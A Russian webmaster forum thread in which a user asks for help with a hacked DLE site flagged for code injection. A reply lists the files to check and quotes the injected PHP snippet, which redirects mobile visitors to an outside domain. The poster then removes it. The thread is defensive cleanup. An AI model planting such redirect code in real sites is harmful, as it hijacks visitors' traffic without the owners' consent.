Вирус на сайте

Сообщений: 576 Регистрация: Июн 2012

3 Февраля 2013 20:12

Купил сайт, http://dvaavto.ru/. После покупки обнаружил в нем взлом, в файле дбконф и конф был популярные в недавнее время взлом с перенаправлением мобильного трафика статусес что-то там :(Удалил я его, и вот сегодня решил добавить в яндекс вебмастер и гугл мастер, выдало

Код

03.02.2013http://dvaavto.ru/tehnika/avtoservice/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/Jaguar/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/catalogMal/JSIfrLd-A03.02.2013http://dvaavto.ru/dtpMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/%E0%E2%F2%EE/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tehnika/16-centr-audi-ag-ekologicheski-chistoe-zavtra-resheniya-buduschego.htmlMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/stati/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tehnika/17-test-2012-22-zimnih-shin-205-55-r16-v-poiskah-nastoyaschey-zimy.htmlMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/%C2%FB%F1%F2%E0%E2%EA%E0+%F2%FE%ED%E8%ED%E3%E0+SEMA+2012:+Scion+FR-S+%E2%F1%E5%F5+%F6%E2%E5%F2%EE%E2+%F0%E0%E4%F3%E3%E8/

в гугле

Код
URL-адреса Тип Последняя проверка

Код
http://dvaavto.ru/ Внедрение кода 02.02.13

Код
http://dvaavto.ru/tags/ Внедрение кода 02.02.13

Код
http://dvaavto.ru/tags/BMW+ETK+2-2010/ Внедрение кода 02.02.13

Значить где-то остался вирус или вредоносный код. Кто сталкивался с подобным или может помочь отпишите.

Лучшая Партнерка под Ютуб (Помощь рефералам)

Лучший конверт любого моб. трафика

Копирайт и рерайт по выгодной цене

АнтиП Замкадов

Сообщений: 796 Регистрация: Май 2010

4 Февраля 2013 00:52

Сайт на DLE?

KylukovAV

Сообщений: 1276 Регистрация: Май 2011

4 Февраля 2013 03:33

Посмотрите в файлах:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php
может это тот самый редикет:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');
}

У меня тоже 2 числа ломанули, почистил все тип топ, к вечеру с сайта яша уже снял маркер smile:)

Silver Neo

Сообщений: 576 Регистрация: Июн 2012

4 Февраля 2013 10:31

Цитата

KylukovAV пишет:
Посмотрите в файлах:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php
может это тот самый редикет:

Код

  $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');
}

У меня тоже 2 числа ломанули, почистил все тип топ, к вечеру с сайта яша уже снял маркер smile:)

Странно, я думал проверил все файлы, и оказался не прав. Нашел именно там где вы и сказали и удалил. Еще раз более тщательно проверил весь сайт. больше не нашел. Подал заявки в гугле и яше на перепроверку. Буду ждать smile:)

Большое вам спасибо smile:)

Новые темы	Объявления	Свободное общение
13:23 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 13:16 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 08:26 Помогите! ОТКРЫЛАСЬ монетизация на ЮТЮБ! Но Как быть в 2024 с Adsense? 08:23 Rotapost прикрыли! Чем пользоваться? 17:53 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 12:39 2Index - быстрая индексация страниц сайта и обратных ссылок 06:17 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг	17:34 CryptoGraph — Анонимный обмен криптовалют без KYC и AML 17:06 TETChange-Обменник криптовалют 14:45 TIGER SMS — Виртуальные номера для SMS-верификации (опт и розница) 14:43 Onechange.me — надежный обменник криптовалют и фиатных средств 14:03 Quix Email - сервис почтовых активаций 13:54 PonyBit.ru - обменный пункт PonyBit.ru (Понибит.ру) 13:34 Рассылки СМС/SMS, Вайбер/Viber, Ватсап/Whatsapp, Телеграм/Telegram любой тематики по всему миру	13:08 Бесплатный майнинг Tether (USDT) 10:29 С юмором по жизни! 16:49 monetizer.agency – рекламная сеть для взрослого и развлекательного трафика. 100$ новому вебмастеру 20:43 Добро пожаловать в цифровой мир... 15:59 Про мясо 23:09 ПП от PMS remote.team - 200$ за команду 13:28 Компьютерная мышь

Новые темы

Объявления

Свободное общение

13:23 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options
13:16 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика!
08:26 Помогите! ОТКРЫЛАСЬ монетизация на ЮТЮБ! Но Как быть в 2024 с Adsense?
08:23 Rotapost прикрыли! Чем пользоваться?
17:53 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу.
12:39 2Index - быстрая индексация страниц сайта и обратных ссылок
06:17 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг

17:34 CryptoGraph — Анонимный обмен криптовалют без KYC и AML
17:06 TETChange-Обменник криптовалют
14:45 TIGER SMS — Виртуальные номера для SMS-верификации (опт и розница)
14:43 Onechange.me — надежный обменник криптовалют и фиатных средств
14:03 Quix Email - сервис почтовых активаций
13:54 PonyBit.ru - обменный пункт PonyBit.ru (Понибит.ру)
13:34 Рассылки СМС/SMS, Вайбер/Viber, Ватсап/Whatsapp, Телеграм/Telegram любой тематики по всему миру

13:08 Бесплатный майнинг Tether (USDT)
10:29 С юмором по жизни!
16:49 monetizer.agency – рекламная сеть для взрослого и развлекательного трафика. 100$ новому вебмастеру
20:43 Добро пожаловать в цифровой мир...
15:59 Про мясо
23:09 ПП от PMS remote.team - 200$ за команду
13:28 Компьютерная мышь

11.12.2024 14:57	Конгресс США заявил о лабораторном происхождении коронавируса
22.11.2024 09:05	Продвижение петиций на сайте change.org
30.06.2024 21:52	Корейский провайдер наказал пользователей торрентов вирусами, а теперь наказание грозит ему
06.03.2024 12:01	Спойлер на 2024: "Зомби-вирус"
18.08.2023 10:49	Установка Wordpress в папку на статическом сайте